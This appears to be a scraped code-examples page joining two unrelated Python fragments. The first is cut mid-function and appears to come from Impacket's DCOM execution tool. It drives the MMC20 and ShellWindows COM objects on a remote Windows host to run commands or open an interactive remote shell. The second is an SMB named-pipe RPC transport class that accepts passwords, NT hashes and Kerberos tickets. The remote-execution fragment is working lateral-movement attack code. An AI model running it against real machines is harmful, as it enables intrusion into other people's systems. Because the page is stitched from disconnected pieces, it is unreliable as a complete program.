                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
            elif self.__dcomObject == 'MMC20':
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
            else:
                logging.fatal('Invalid object %s' % self.__dcomObject)
                return

            iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))

            if self.__dcomObject == 'MMC20':
                resp = iDocument.GetIDsOfNames(('ActiveView',))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
                self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
            else:
                resp = iDocument.GetIDsOfNames(('Application',))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
                self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)

            if self.__command != ' ':
                self.shell.onecmd(self.__command)
                if self.shell is not None:
                    self.shell.do_exit('')
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt), e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
Ejemplo n.º 60
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(
        self,
        remoteName,
        dstport=445,
        filename="",
        username="",
        password="",
        domain="",
        lmhash="",
        nthash="",
        aesKey="",
        TGT=None,
        TGS=None,
        remote_host="",
        smb_connection=0,
        doKerberos=False,
        kdcHost=None,
    ):
        DCERPCTransport.__init__(self, remoteName, dstport)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
        self._doKerberos = doKerberos
        self._kdcHost = kdcHost

        if remote_host != "":
            self.setRemoteHost(remote_host)

        if smb_connection == 0:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(*smb_connection.getCredentials())

        self.__prefDialect = None
        self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            self.__smb_connection = SMBConnection(
                self.getRemoteName(),
                self.getRemoteHost(),
                sess_port=self.get_dport(),
                preferredDialect=self.__prefDialect,
            )

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection == 0:
            self.setup_smb_connection()
            if self._doKerberos is False:
                self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
            else:
                self.__smb_connection.kerberosLogin(
                    self._username,
                    self._password,
                    self._domain,
                    self._lmhash,
                    self._nthash,
                    self._aesKey,
                    kdcHost=self._kdcHost,
                    TGT=self._TGT,
                    TGS=self._TGS,
                )
        self.__tid = self.__smb_connection.connectTree("IPC$")
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection = 0

    def send(self, data, forceWriteAndx=0, forceRecv=0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset : offset + self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset=offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv=0, count=0):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead=self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(*smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()